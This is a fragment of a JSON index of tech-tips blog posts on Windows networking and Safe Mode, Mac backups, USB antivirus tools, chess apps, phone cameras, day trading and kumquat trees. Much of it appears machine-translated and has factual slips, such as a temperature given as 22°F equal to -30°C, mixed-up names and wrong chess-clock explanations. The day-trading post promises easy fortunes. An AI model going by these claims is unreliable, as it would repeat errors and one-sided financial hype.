ncG1vNJzZmismaXArq3KnmWcp51kvLGx0Zpkr6ieYsSquMtmqq2noGLEsL7KoqWgZZ%2BjeqK6w6umopxdlrulecioqmaeoqS6boGRaWhx\n","link":"/post/opera-vpn-will-stop-working-on-android-and-ios-from-5-2018/","section":"post","tags":null,"title":"Opera VPN will stop working on Android and iOS from 5/2018"},{"body":"Windows Server 2016 is the successor of Microsoft's Windows Server 2012 server operating system. Originally named Windows Server vNext (formerly Windows Server Blue), Windows Server 2016 was developed by Microsoft with a focus on helping companies operate and thrive in the modern cloud and mobile era.\nIf you are setting up Windows Server 2016 as a domain controller or doing any other production server functionality on the network, you should set it up with a static IP address. Here is a quick tutorial on how to do that.\nNote: You need an admin account on the server to set up Windows Server 2016 with a static IP address.\nLog into Windows Server 2016 and click the Start button , then click Control Panel:\nLog into Windows Server 2016 and click the Start button, then click Control Panel Then, click View network status and tasks in the Network and Internet applet :\nClick View network status and tasks in the Network and Internet applet Then click Change adapter settings in the left menu:\nClick Change adapter settings in the left menu Then right-click on the network connection and select Properties:\nRight-click on the network connection and select Properties Select Internet Protocol Version 4 (TCP / IPv4) and then click Properties:\nSelect Internet Protocol Version 4 (TCP / IPv4) and then click Properties Enter the IP address you want to assign to this server, Network Mask, Default Gateway and DNS server address :\nEnter the IP address you want to assign to this server, Network Mask, Default Gateway and DNS server address Click OK and then restart the server.\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZq%2BZo7Gww9Jmqp6qppq%2Fbn6Pam1mr5mptW6tjKyrmqyZmHqqvIyam52qlajA\n","link":"/post/set-up-windows-server-2016-with-a-static-ip-address/","section":"post","tags":null,"title":"Set up Windows Server 2016 with a static IP address"},{"body":"There are two methods available for Apple users to back up data - iCloud Drive and Time Machine. While they may ultimately serve a similar purpose, the way both services work are significantly different.\nToday TipsMake will cover which service you should use for your Mac backups, and how the two are different.\nHow does iCloud Drive work for Mac? It's important to understand how iCloud Drive and Time Machine work first to really understand the difference between these two options. Most people are familiar with \"cloud\" backups but have no idea how they actually work. When you sync your iPhone or Mac with iCloud, your device uploads all of your selected data to a secure server owned by Apple. Apple has numerous facilities around the world filled with such servers, providing them with more than enough bytes of data.\nThese servers are backed up regularly, so even if they fail, your data can still be restored from the backup. The data is secured on a specific server and can be downloaded back to your device if the need arises. You can sync and store specific files on iCloud Drive (such as documents and photos), but you can't store system files or perform a complete system backup of your Mac.\niCloud Drive also lets you offload data from your Mac to the cloud if your Mac is running low on storage. Basically, this means that all the files that you rarely use are backed up in the cloud and deleted from the system. However, the file shortcut still shows up in the same location on your Mac, and in case you need to access it again, the original file will be downloaded and opened on the system immediately. This allows you to save some precious storage space on your Mac.\nHow does Time Machine work for Mac? While iCloud takes an Internet-based approach to backing up data, Time Machine takes a more hands-on, local approach to backing up data. Time Machine is a feature available in macOS that automatically backs up files to an external hard drive every hour or so (depending on the backup duration you've set).\nThis means that the backup is available to you locally on an external hard drive rather than over the Internet. Time Machine also backs up system files and settings, creating a complete copy of your Mac. You can use this copy to restore your Mac later if needed.\nCompare iCloud Drive and Time Machine Now, consider the benefits and drawbacks of using iCloud Drive or Time Machine for backups.\niCloud Drive Benefits and Limitations One benefit of iCloud Drive is that along with files being synced to an Internet server, they're also synced with all of your other Apple devices. This means you can access them from anywhere. As soon as you make any changes to your file (such as editing a document), the new version is automatically synced to the cloud.\n  You can also access file version history in iCloud Drive. This depends on the file type, but it usually allows you to view and restore previously saved versions (if you require it).\nMany users prefer to use iCloud Drive over Time Machine, because they don't want the hassle of managing external hard drives all the time. Since iCloud Drive only requires an active Internet connection to back up files, management is much easier.\nHowever, iCloud Drive also has some disadvantages. Since this is a subscription-based service, there will be a monthly fee depending on how much online storage you use. 5GB is offered for free, while upgrades are available to 50GB for $0.99/month, 200GB for $2.99/month, or 2TB for $9.99/month.\nAnother downside is that iCloud Drive only syncs the user's files with the server. No file or system backup actions are performed. This means that if you need to restore your new Mac, you can only retrieve your files (such as documents and photos) from iCloud Drive. You won't be able to restore your entire system from the cloud.\nYou can also only recover files deleted in the last 30 days, which is a big drawback if you might need to recover lost data from more than a month ago.\nAdvantages and disadvantages of Time Machine Time Machine allows you to create backups of your entire system, including user and system files. This will allow you to restore your entire system from a Time Machine backup should the need arise, which is why many users recommend regularly backing up your system with Time Machine.\nIt's important to note that Time Machine doesn't back up every file every hour. Instead, it only backs up files that have changed in the last hour. So if you haven't done anything in the last hour, your Mac won't take long to back up. However, major system changes may take longer to back up to an external drive.\nTime Machine costs nothing, other than a one-time investment in an external hard drive or SSD. Since your hard drive is local storage and doesn't rely on the Internet for access, you can keep it somewhere safe and secure. However, you also have to keep in mind that hard drives eventually fail after a few years, so you'll have to swap them out after a while. If you lose the hard drive that came with your Mac, this backup solution won't help either.\nTime Machine is usually very easy to set up, but it can get a bit complicated if you plan to use network storage for backups. Time Machine backups are also not as accessible as iCloud Drive, because the data on them can only be accessed on a Mac and not on any other device.\nPlus, if you're already using iCloud Drive, you'll need to download all of your offloaded data to your Mac to back it up with Time Machine.\nThe basic difference between iCloud Drive and Time Machine is that Time Machine is aimed at backing up the entire system, including system files and settings. In the event your Mac stops working or is stolen, you can set up a new Mac using a Time Machine backup. Everything will be exactly the same as on your previous Mac.\nShould I use Time Machine or iCloud Drive to back up my Mac? The debate between using iCloud Drive or Time Machine is a long one and won't end overnight. Each backup method has its pros and cons. The article recommends using both if possible, using iCloud Drive to sync your files to the cloud, as well as making them accessible on different devices, and using Time Machine like a last resort in the event of an accident.\nHowever, if you only want to use one of the two, the article recommends using only Time Machine. It provides a complete system backup that can be used to restore the entire system, better than just the user files backed up by iCloud Drive.\nTime Machine iCloud Drive ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdqsCmedOipJ5lnZawqbXNnmSoql2esK271J1knaqZq7JuwM5mmZqbm2LCsXnMsmSmmZM%3D\n","link":"/post/should-i-use-time-machine-or-icloud-drive-to-back-up-my-mac/","section":"post","tags":null,"title":"Should I use Time Machine or iCloud Drive to back up my Mac?"},{"body":"37 years ago, Jean Hilliard (USA) miraculously revived after being frozen for 6 hours, surprising the doctors.\nThe mysterious death of the burned person in the closed room has been decoded The woman has \"poison blood\" and the most mysterious medical record in American history On the night of December 20, 1980, in cold weather, the temperature dropped to only 22 degrees F (-30 degrees C), Jean Hilliard (19) drove from your home to his parents' home in Lengby, Minnesota. On the way, she was thrown off the road by the steering wheel, the car stopped and could not restart the machine. Meanwhile, Jean decided to walk to Wally Nelson's house - a friend, about 3.2 km away.\nWhen walking, Jean Hilliard just wore western shoes, put on a jacket and wore gloves. The weather was cold, the clothes were not warm enough, so Jean collapsed down the road a few meters from his friend's door. Jean Hilliard lay motionless in the snow all night until about 7:00 am the next morning when Nelson was discovered and taken to an emergency. At that time, her body was as hard as a rock.\n  Jean's body froze in the snowy night.(Photo: Littlething.)\nAt Fosston Hospital, doctors were stunned by Jean's condition. They tried to give her emergency and intravenous nutrition but could not because the needle could not penetrate the frozen skin. Her body did not respond to any form of medical care, nor could measuring her body temperature with a thermometer. Her face and eyes were frozen, not reacting to light.\nGeorge Sather, the doctor who treated Jean, added: \" Her body is frozen like a piece of meat in the freezer compartment. The limbs cannot be folded or moved. Jean's body does not have any one. any reaction in about two or three hours after the thaw begins, her heart rate only beats 8 times per minute and her body temperature is about 26 degrees Celsius \".\n  The doctor cannot take emergency measures with Jean's frozen body.\nThe doctors shook their heads helplessly, because the cells in Jean's body were completely frozen, the internal organs were also cold, making it difficult for them to perform their functions until completely stopped. Even, her brain could not save. There is no hope to save Jean's life. The only thing doctors can do is to put warm packs around the young girl to raise her body temperature, melting the ice.\nBut the unexpected happened, around 11:00 noon, Jean began to twitch and regain consciousness miraculously. All the doctors and everyone around her were surprised. At night, she could move her arms, and by the third day she could move her legs. Jean had to undergo medical treatment for the next 49 days but then her body recovered completely, not having to cut off even one finger.\nUntil now, no one could explain why or how Jean's body could fully recover after falling into such a hard freezing state for 6 hours. Jean Hilliard's case is still an unknown solution of medicine.\nncG1vNJzZmismaXArq3KnmWcp51kuqawyJyYpWWdrsC1sdGyZK2glWK0qr7LZqSiqpGYwq271KyjsmWimsOqwsSdZJqepJq%2Fbq2Mp6CgoKRivKd5xaucnrKZo7Q%3D\n","link":"/post/the-girl-miraculously-revived-after-a-night-of-freezing/","section":"post","tags":null,"title":"The girl miraculously revived after a night of freezing"},{"body":"Compact, easy to use, integrated with many anti-virus features, not \"in conflict\" with other security applications, blocking the status of copying important data stored on USB, . are the advantages Point of antivirus software running directly from USB.\n3 software that shows hidden files in USB should not be ignored 3 ways to password protect USB drive data 4 small tips to help secure data on USB drive better 1. USB Guardian USB Guardian is USB protection software, which helps prevent nasty viruses and worms such as Conficker (aka Downandup, Downadup and Kido), which spread more than 9 million computers. You can use USB Guardian to scan your computer whenever you connect a USB drive or on any other removable storage device.\n  Not only does it have a simple and easy to use interface, but USB Guardian also shows the ability to operate smartly. Specifically, when connecting USB to a computer, the software will automatically scan for detection and prevent autorun viruses from entering the computer. With USB Guardian, you can use USB to copy movies, music, photos and documents from one computer to another computer without worrying about being infected with viruses or USB viruses.\nDownload: USB Guardian 2. USB WriteProtector   \nUSB WriteProtector provides the ability to block important data copying stored on USB. The highlight that USB WriteProtector gives users is that it allows viewing data from a USB drive. In addition, this USB protection tool also has the ability to disable USB devices or not for others to record or delete data stored on the USB. Thus, your USB is always protected from viruses and those who want to steal data from USB drives.\nDownload: USB WriteProtector 3. FireWall USB USB FireWall is an application that protects you from malicious programs trying to 'pinch' into a USB drive every time you use it. This security tool will automatically block and destroy viruses when it finds a certain type of malware.\n  You can also use USB FireWall in parallel with other antivirus software to protect your computer, USB and absolutely external devices. Set up the boot tool with the system so that whenever you connect the USB to the computer it will warn and kill the virus if any.\nDownload: USB FireWall 4. USB Disk Security   \nUSB Disk Security is a tool that helps you detect and destroy viruses and malware that spread through USB drives to protect your computer from external threats. In addition, the utility also provides a high level of protection to prevent data duplication, steal information from a hidden person.\nDownload: USB Disk Security 5. Autorun Eater   \nIf you want to protect your computer against viruses spreading via USB, a powerful software like USB Disk Security will be a wise choice. The program helps you detect and automatically remove autorun viruses spread through devices connected by USB ports. Another useful feature that the program provides is to regularly update the database itself, so it can detect and destroy viruses even when your computer is not connected to the network.\nDownload: Autorun Eater 6. USB Drive Antivirus USB Drive Antivirus provides protection for flash drives and flash memory cards, external drives, digital cameras and other . When USB is inserted into your computer, USB Drive Antivirus will automatically scan and block viruses , and prevent trojans or any malicious code. It will also detect and remove autorun.inf in your computer.\n  After you have installed the program, the program will ask you to perform a search for all USB storage devices that are connected to the computer. The next step, the program will proceed to scan the entire hard disk system.\nDownload: USB Drive Antivirus 7. Smart Virus Remover By default, the program will automatically detect and destroy the viruses on your USB (currently the Smart Virus Remover database has the identity of about 50 Viruses often infected on USB).\n  The main working window of the program has 4 functions to choose from: Delete Autorun.in file used to delete Autorun files that are on your USB, Restore Windows Default Setting to restore features normally locked by Virus like: Hide Task Manager, Registry Editor, Run box .\nIn addition to the features on Smart Virus Remover, it also allows you to manage USB when plugged into a computer that is Disable USB Drives (lock all USB ports in the computer), Enable USB Write Protect (Do not allow writing data into the USB plugged in the device).\nDownload: Smart Virus Remover 8. Mx one Antivirus Similar to the above software, Mx one Antivirus is an antivirus program designed to protect portable storage devices such as USB, mp3, mp4, and memory cards M2, SD, microSD, and other devices efficiently and completely free.\nWith a capacity of only 1.4MB, the software is completely easy to use with a simple interface and a real-time virus protection mechanism.\n  The software provides users with virus scanning features such as: Scan only this device's boot sector (Virus scanning only on the boot area of ​​the device to prevent autorun viruses spreading via USB), Compelety scan this device (Scanning for viruses on all files and folders contained on the USB) and Custom scan (Folder options for scanning).\nDownload: Mx one Antivirus 9. USB Flashdrive Autorun Antivirus USB Flash Drive Autorun Antivirus has the ability to detect, close or delete the viruses contained in your device. This software provides protection by immunity to the system; by installing a special autorun file that the virus cannot delete.\n  In addition, this program provides a lot of utility tools like Task Manager to manage running programs; Autorun Suppressor to remove autorun when connecting devices to the system; and system restore feature to repair system functions that are damaged by viruses.\nDownload: USB Flashdrive Autorun Antivirus 10. Rising AntiVirus Rising Antivirus is a good antivirus program that can protect users against viruses, trojans, worms, rootkits and other malicious programs.\n  The software provides many features such as real-time protection, email scanning, automatic updates, scheduled scanning, USB scanning, browser protection . as well as the ability to detect malicious software programs. Unknown harm and stop them.\nRising AntiVirus is provided for free, with a capacity of only 1.8 MB and compatible with all Windows-based computers.\nDownload: Rising AntiVirus Above is the top 10 best USB protection software today and is widely used by many people. Hope you will also choose an appropriate software to protect your USB data and computers effectively.\nSee more:\nHow to set up a USB-only computer, increase safety Remove the USB drive when the computer is in sleep mode (Sleep) is it safe? Trick to prevent 100% virus infection from USB, memory card, phone to computer ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuwdKbZKmqn6mypMDIqKVmq5%2Bbwbit0Z5kraeUlsY%3D\n","link":"/post/top-10-best-usb-protection-software-today/","section":"post","tags":null,"title":"Top 10 best USB protection software today"},{"body":"The proliferation of free apps, the massive global competition on Twitch, and the cultural trend have made people play chess more often than before.\nIf you are also interested in this intellectual sport, you can refer to the chess apps below on your phone.\n1. Learn Chess With Doctor Wolf Learn Chess With Doctor Wolf is a great app for the beginner or the average player, for advanced players it is practically nothing but a refresher course.\nFor those looking for more advanced practice, visit the Lessons site . Here you will see different practice sections like How to Castle and Connecting Your Rooks .\nThe lessons will be divided into sections including Beginner , Intermediate and Advanced . You can start from any category and choose to your liking (save a few Advanced lessons as a prerequisite).\n  If you want to play games with AI, the Game section will let you play chess for free.\nIf you buy the premium version, Dr. Wolf guides each move and teaches you directly. You can take a guided 3-time trial. After those three attempts, you can still play with Dr. Wolf but will no longer receive useful tips during play.\nIf you press the three dots to the right of the Undo button , you'll find a list of actions and options. You can adjust the intensity of the game if it feels too easy or too difficult. One of the most interesting features is Training with Dr. Wolf , here Dr. Wolf will look at your moves and come up with specific custom scenarios for improvement.\nIf you do not like the character Dr. Wolf, the instructor-led feature allows you to switch among 3 other characters.\nReturn to the main game screen page, click on the three ellipses in the right corner, you will see the Stats and Achievements section with all the information and achievements you have been while playing the game.\n2. Magnus Trainer You've probably heard the name Magnus Carlsen, chess grandmaster, champion of the World Chess Championship. The Magnus Trainer application has been developed to guide people in the way Magnus plays.\nThe Course section takes you from beginner to advanced, making it easy to play with friends and family.\nYou will have to finish in order unless you sign up for membership, you can choose to start with the Basics , Easy , Medium or Hard categories . There is a tip from Carlsen at the beginning of each lesson that will be recorded in the documents section.\n  The Games page is divided into Foundation , Tactics and Calculation sections , allowing you to play short games to get familiar with the pieces, problem solving and general knowledge of chess.\nThe Lessons section is a treasure trove of information about any aspect of the game you would like to review. Although there is a range of lessons available for free, many are available only with registration.\nThe lessons are broken down into different genres, such as match-making or opening moves.\nThe You section shows your graph of statistics in each field of play. This is useful for seeing which areas you should improve and how far you have improved over time.\n3. Lichess No matter how many theories you have learned, you still need practice to improve your level - lichess is a great free option to play chess online from your iPhone or Android, especially all the features of lichess. are completely free.\nThe main dashboard might look a bit 'intimidating' to new users. However, don't worry if you understand the layout. A quick match, a board header with labels like 1 + 0 Bullet and 3 + 0 blitz , takes you into a multiplayer game based on the rules you choose.\nBullet , Blitz , Rapid and Classical refer to the amount of time each player has to make their moves. For example, Blitz is usually the three-minute time limit per turn. Numbers like 1 + 0 indicate the time allowed per turn and the time increments are added to your watch at the end of the respective turn.\n  So 10 + 5 means each player has 10 minutes to complete their turn and a difference of five seconds is added to the clock when they complete their turn (time is only added if you lose less than five seconds to make your move. If your move takes only three seconds, the remaining two seconds will be added to the watch).\nYou can create games, play with friends with lichess or play against the computer.\nScroll down a bit deeper and you will see the puzzle for the day. This is a fun way to improve aspects of the game you might not even have thought of.\nPressing the Menu button at the top left will display a list of other features available on the calendar. Click Puzzles to get a random script. The Study section gives you access to information, you can learn about real-world strategies like Sicilian Defense and Queen's Gambit .\nYou can play a game online on this app, your opponent will be a computer or install a game so your friends can play with you.\n4. Chess Chess from Chess.com is another outstanding app for playing chess online. You will find common methods of playing such as online play, computer play, and puzzle solving to train your brain.\nYou will also find some valuable features that are unique to the Chess app, such as the Videos section, which contains a ton of videos by high ranking chess players focusing on specific aspects of the game.\n  The Forum section is a place for players to ask questions and share information regardless of skill level. Want to see expert level game analysis or find out a solution to a puzzle you just can't seem to get past? Forum is where you need to go.\nThe Drills page allows you to choose a game area to work with like King and Two Pawns vs King and let you fight the computer in that layout.\n5. Chess Tactics Pro Chess Tactics Pro is a simple app for people who just want to solve puzzles. Instead of a bunch of different features, Chess Tactics Pro focuses on doing the basics well.\n  The Daily tab updates six new quizzes (each with easy, medium, and difficult levels) every day. The Puzzles page has over 300 puzzles to choose from. When playing any of the puzzles, you can click on the Analyze item in the top right to see exactly what moves are, or the question mark icon at the bottom right to get hints.\nThe Progress section creates a puzzle to match your current skill level - winning increases your Elo rank, losing is reduced.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kmqigqHq1u4ytnJqbmGKwqbHSrGSopl2ivKO1y54%3D\n","link":"/post/top-5-apps-to-teach-chess-on-mobile/","section":"post","tags":null,"title":"Top 5 apps to teach chess on mobile"},{"body":"Over the years, the smartphone camera has grown and surpassed. Not only in the high-end flagship segment, mid-range smartphone devices today also own extremely good quality camera clusters. If just a few years ago, the large resolution on camera phones was once considered a \"color\" factor of manufacturers, then until recently, smartphone models launched in 2020 were indispensable. go for a camera with a big \"dot\" number.\nAs one of the pioneering manufacturers of 48MP high-resolution cameras on mid-range products, OPPO has made the camera race \"dots\" become more and more competitive. Now we can see that most mid-range smartphones have 48MP cameras, even many have 64MP or 108MP cameras, showing us how high-resolution has become the trend.\n This is OPPO A91 with 48MP camera\nOPPO A91, the first A-series smartphone launched by OPPO this year, also owns a \"dot\" number up to 48MP. In this segment, users have many different choices because this is a crowded smartphone segment, however, many people still choose OPPO A91, partly from the device's 48MP camera.\nSo what is the reason why the factor once considered a \"bomb\" became a mobile photography trend in 2020?\nSmartphone performance has reached a new level\nYes, the first reason not to mention hardware performance. With the first smartphones on the market with 48MP cameras in 2018, 2019, due to the not really good performance, 48MP cameras became a \"burden\" for these smartphones when shooting in high resolution mode. high prize.\n The 48MP camera was once thought to be a superfluous feature on smartphones\nIf you've ever experienced 48MP camera in smartphones launched last year, you will see the camera of the machine takes a long time to be able to process 48MP photos. Even in many cases, taking 48MP photos also causes the camera to become jerky, laggy, and unable to do anything. The reason is that the hardware configuration of the smartphone at that time did not meet the 48MP trend, leading to the 48MP mode becoming a \"bomb\".\nHowever, things are different in 2020, as smartphone performance gradually becomes stronger, even for mid-range smartphones. For example, OPPO A91, this smartphone is equipped with Helio P70 chip comes with RAM capacity up to 8GB, more than enough to bring a strong performance in the price segment of the device, thereby helping the device can handle 48MP photos easier.\n Configuration of OPPO A91\nIt takes less than 2 seconds for OPPO A91 to capture and process 48MP images simultaneously. And so, users can now take 48MP photos anytime without having to worry that the camera will take longer, so they will miss some interesting moments.\nImproved software, complementary to hardware\nNot only is the device's hardware upgraded more powerful, software is also an important factor that can help 48MP photos become a prominent trend this year.\n Camera application on OPPO A91\nIf the first generation of 48MP cameras, the images were not processed HDR, detail or sharpness, making 48MP photos quite pale and have to adjust a lot of hands, then with OPPO A91 this year, the camera of The camera was able to perform image processing with the software during the capture, giving the final image the best quality (although the 48MP image is already very high quality).\n48MP photos zoom into every detail\n Despite shooting in large resolution mode, however, 48MP images still produce extremely good HDR processing\n Or vibrant colors \"attract\" users\nNot to mention the camera application on OPPO A91 is also integrated with AI modes to identify different scenes, or comes equipped with color filters, which can be applied directly to photos during shooting, helping users You can always post to social media without having to edit it too much.\n AI mode recognizes each scene in progress\n The built-in color filters allow you to apply them directly to 48MP images\nIt can be said that the software and image processing algorithms on OPPO A91 make the 48MP camera like \"tiger grow more wings\", partly helping 48MP continue to become a prominent trend in the field of mobile photography.\nLarge memory capacity, store thousands of photos\nA minus point of 48MP photos that whenever mentioned, many people seem to consider whether or not to regularly take 48MP photos, which is a problem related to image size and camera memory. As we all know, due to the extremely large resolution (up to 8000 x 6000), 48MP photos from there but also very heavy capacity (from 10-20MB / image).\n 48MP photos of OPPO A91 have a capacity of 10-20MB / photo\nOf course, these photos will take up a lot of memory space, just taking about 10 photos is only \"consuming\" several hundred MB of memory. That's why OPPO has equipped the A91 with a storage capacity of up to 128GB. In theory, with 100GB, users can store up to 10,000 48MP photos. Not to mention storage services like Google Photos or OPPO Cloud also allow users to store photos in the cloud and free up memory at any time.\n Thus, thanks to the technology developed year by year, now 48MP photos are no longer a feature that is too strange and new to today's users. Upgrade hardware, improved software, all of which make 48MP camera become one of the indispensable modern photography trends on any smartphone today.\nOPPO A91 has excelled in the ability to take 48MP photos in 2020, fully meeting the needs of users in a price of less than 7 million. Although it is oriented in the mid-range segment with many formidable competitors from other manufacturers, thanks to OPPO's optimization comes from complementary factors (software, image processing algorithms . .) which OPPO A91 can become a smartphone worth buying attention of many users.\nncG1vNJzZmismaXArq3KnmWcp51ksabAwKKjnpxdmK6usdGaZKudpp6yuHnOp2SoqKCkeqKFkGZrcaWgYruww4yrnJqknK56onnTq5ynnA%3D%3D\n","link":"/post/48mp-now-really-a-trend/","section":"post","tags":null,"title":"48MP now really a trend?"},{"body":"The reason that there is such diversity among traders is due to how lucrative it can be. If you have the initiative and make the right decisions, you can make an absolute fortune day trading.\n  Day trading was highly publicized a few years ago and it was not uncommon to see twenty-something millionaires who had earned their riches from trading in newspapers and magazines. This showed the world that absolutely anybody can make a fortune day trading, which led to a mass interest in it.\nIf you want to have a competitive advantage over the millions of other traders sharing platforms with you, you will need a mentor. This article will tell you six reasons why having a mentor can help you become a better day trader.\n1. Strategies and Ideas As a new trader, or an intermediary one, or heck, even an expert, you can benefit greatly from new strategies and ideas that you may have not previously considered or thought of. New ideas are great, and this is a sentiment shared by the trading experts from tradingreviewers.com/investors-underground-review/, who explain that it is always good to have access to new ideas and strategies, for they can help you to develop as a trader. New ideas and strategies tried and tested by expert traders can do nothing but benefit you.\n2. Advice in Times of Uncertainty When you are a trader, you are likely to experience a lot of uncertainty, and will likely have to gamble often. Having an expert trader as your mentor means that in times of uncertainty, you can ask for advice, and ask them what they would do. This is, perhaps, one of the best benefits that you can derive from having an experienced trader as your mentor and is one that will help you to develop and become better at trading.\n3. Motivation Anything we do for a long period of time, even if it is lucrative, we begin to question. Having a professional and experienced trader by your side who has likely experienced all the same doubt and boredom that you are experiencing is a great way to motivate yourself and get going again. If it were not for mentors, you would likely get bored and pursue something else. An experienced mentor will be able to motivate you and keep you interested in times that you are bored and are questioning whether trading is really for you.\n  4. Collaboration When working with an experienced trader, there is always the potential for collaboration. Collaborating with an experienced trader is a great way to make larger profits and a fantastic way to expand your portfolio. While this is not guaranteed, it is always a potential if you hit it off with your mentor and develop a friendship. They may want to help you, and the best way to do so is to collaborate with you. Collaboration is a great tool to better yourself as a trader and one of the many benefits of having an experienced trader mentor you.\n5. Past Mistakes An experienced trader will be able to tell you about their past mistakes so that you do not make them. As a beginner, it is easy to fall into many pitfalls and traps. However, with an experienced mentor guiding you along, you will be able to avoid them by listening to your mentor's advice. Your mentor has likely made many mistakes in their time as a trader, and by telling you about them, you will be able to prevent yourself from making them. Avoiding the mistakes of your mentor will help you to become a better and more knowledgeable trader.\n6. Platform Advice When trading, choosing a platform can be very difficult. There are so many platforms and at times, it can be very confusing. Having an experienced mentor on your side will help you find the best platform for you. You will be able to use the same platform as them, and they will help you understand it. Platform advice is a great benefit of having an experienced day trader working with you, for otherwise, you may end up using a service that does not offer you what other services might. Always ask your mentor for advice on a platform.\nWith the help of this page, you now know a few reasons why having a mentor in day trading is very important. Day trading is very confusing, especially when you are going at it alone. We hope this page was of benefit to you.\nstock trading ncG1vNJzZmismaXArq3KnmWcp51kwaq80maYp5xdqb%2Bqr8qsZJ6ulafGbr%2FTqJqkZaSnrqWx0WaqoaelobFut82ormasn2K2rrzRqK2e\n","link":"/post/6-reasons-why-having-a-mentor-helps-you-become-better-at-day-trading/","section":"post","tags":null,"title":"6 Reasons Why Having A Mentor Helps You Become Better At Day Trading"},{"body":"1998 Cam is a classic photography and video camera application with many effects such as film kiosk, polaroid camera, film dust, light trails, etc. to help users have vintage works right on their iPhone.\nOffers for copyright of Avira Prime antivirus software, priced at $ 99.99, are free ProCam 7, download the professional photo and video capture app for Android, is free 1998 Cam, although developed in a classical way, is suitable for all types of users from photography enthusiasts to professional photographers.\n  The color filter library in 1998 Cam has preset basic settings, supports quick vintage photo effects, supports blur photo editing to help users easily get the beautiful picture as they want with just a few. Simple operation.\nSalient features of 1998 Cam application\nMore than 100 color filters are arranged according to each specific theme vintage, film, black \u0026amp; white, retro, color boost . and easily change when taking photos or videos to help users easily select. Support light effect effects (light leak), 3D photo effects. Display date photographic information. Self timer mode to take pictures. Support for photo editing including cropping, stretching, tilting and spreading the image. Photos and videos are automatically saved to the phone's photo library and videos With photos already on the phone, users can easily add photo filters to edit. .   You can download the 1998 Cam app for iPhone for free by following the link below.\n1998 Cam - Vintage Camera - on the App Store (FREE / IAP) ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdZoZ6hIycmKZlkaN6sLjDn5isoJmku6awjJqloqWRqbawuoyapZ1lpp6xpruMnJiprKWnsm6tz6lkn6eiYraxtM6nnGaho2K7sMOMn6menQ%3D%3D\n","link":"/post/download-1998-cam-an-old-fashioned-animation-and-video-capture-app-for-iphone-is-now-free/","section":"post","tags":null,"title":"Download 1998 Cam, an old-fashioned animation and video capture app for iPhone, is now free"},{"body":"If you have installed the Windows 8 Developer Preview version released by Microsoft and encounter some problems when launching, this is also obvious in beta stage software. In the Windows operating system versions, usually we will boot into Safe Mode to try to fix the problem.\nHowever, by default this mode is not enabled on Windows 8, users need to do this manually. The following article will show you how to enable Safe Mode, boot into, and then disable it.\n 1. Activate First, to enable Safe Mode, open the Command Prompt window. There are many ways to do this through the Metro interface, Windows 7 Start menu, or Windows Explorer to search for the ' cmd.exe ' command.\nTo use Metro UI, open the Desktop from the Metro Start screen, move the mouse pointer to the Start icon and select Search :\n  Scroll down and enter cmd in the Search box, the results will show up on the left. Right-click ' cmd.exe ':\n This item will be highlighted and display the Advanced icon in the lower right corner of the screen. Click Advanced and select Run as administrator from the popup menu.\n If you don't like the Metro interface, you can activate the Start menu in Windows 7 and use it to search for the ' cmd ' command. Right-click ' cmd.exe ' select Run as administrator from the popup menu.\nNote: Start menu in Windows 7 is useful if you want to open cmd.exe or msconfig.exe while in Safe Mode using Metro UI Search function. As tested, we could not find cmd.exe and msconfig.exe via Metro UI in Safe Mode. Another way is to use Windows Explorer and search in C: Windows .\n  If the warning User Account Control appears, click Yes :\n  At the command prompt, enter the command line below and press Enter :\nbcdedit / enum / v\n Enter the following command with a space at the end. Absolutely DO NOT press Enter:\nbcdedit / copy\n This is only part of the command line needed. To be more complete you need to copy the identifier entry from the Windows Boot Loader . Right-click on the window and select Mark from the popup menu:\n Then hold down the left mouse button and highlight the definition next to the identifier (including parentheses). Press Enter to copy it:\n Finally right-click and select Paste to paste the above code into the command bcdedit / copy .\n Press a space and type the 'Windows 8 Developer Preview (Safe Mode) / d' at the end of the line. Press Enter to execute the command:\n Close this command prompt window. Open msconfig.exe (similar to cmd.exe). You do not need to run as an administrator.\n  To get Safe Mode when starting, select Windows 8 Developer Preview (Safe Mode) in the list of Boot tab and tick the Safe boot box. Keep the default Minimal option below. So Safe Mode will automatically run when you restart your computer:\n  2. Use Click Restart when asked if you want to try the result:\n Sometimes Safe Mode may not automatically run, instead the option screen displays whenever you turn on the device. Select Windows 8 Developer Preview (Safe Mode) to enter Safe Mode:\n Windows will boot directly into the Desktop screen, not the Metro interface as usual. And the familiar Windows Help and Support window also appears to provide information about Safe Mode. Now you can start your repair work.\n3. Disable Safe Mode Next, if you want to delete the Safe Mode option at startup, reopen the cmd.exe window as administrator as part 1 . Still with the above note, you may need to use the Start menu like Windows 7 to search for cmd.exe in the C: Windows folder of Windows Explorer.\nEnter the following command, add a space at the end and DO NOT press Enter:\nbcdedit / delete\nSimilar to the above instructions, use the Mark menu to copy the contents of the identifier , then paste it into the command line bcdedit / delete and press Enter to execute:\n A message appears indicating the activities were successful. Or you can turn off Safe Mode by going to msconfig.exe (this is why we recommend using the Windows 7 Start menu to find this dialog) and uncheck Windows 8 Developer Preview (Safe Mode) , then restart the computer.\nncG1vNJzZmismaXArq3KnmWcp51ksq%2BtwaWcZq2jmnqiusNmm6KrkZe5pnnSmp2eZZ2ksaZ5yKdksKGemby4v4xx\n","link":"/post/enable-use-and-disable-safe-mode-in-windows-8/","section":"post","tags":null,"title":"Enable, use, and disable Safe Mode in Windows 8"},{"body":"Playing peach, apricot, kumquat on Tet holiday is a unique traditional culture in the traditional Tet holiday of Vietnamese people. Choosing a beautiful and durable kumquat tree to display in the first days of the new year not only brings the Tet and spring atmosphere but also brings luck, prosperity and success in the new year to the family. The following tips will help you choose to buy a beautiful and durable kumquat tree to welcome the new year.\nThose who have \"eye\" when choosing to kill the scene must assemble a quarter of quarters: green fruits, ripe fruits, green leaves, buds and flowers. When buying blueberries you should choose at the garden to be comfortable to choose, reasonable price and more secure.\nYou may want to read more:\nWorship of the Year-end Ceremony on the 30th New Year How to plant and care for kumquat trees after Tet 12 kinds of ornamental plants bring fortune to the house on Tet holiday How to choose and keep cherry blossoms on Tet Recipes keep fresh flowers long during Tet holiday   1. Choose kumquat tree shape You can choose kumquat trees that have a design, bending or letting nature not be pressed but it is important to be balanced, not to stand out if you display in a large space that people can see from many sides. Besides, you should choose plants with strong root, straight body.\n2. Choose leaves and blueberries You should choose kumquat trees with big, dark green leaves that look \"lemongrass\", big round fruits with shiny, moderately false fruit and some green fruit, 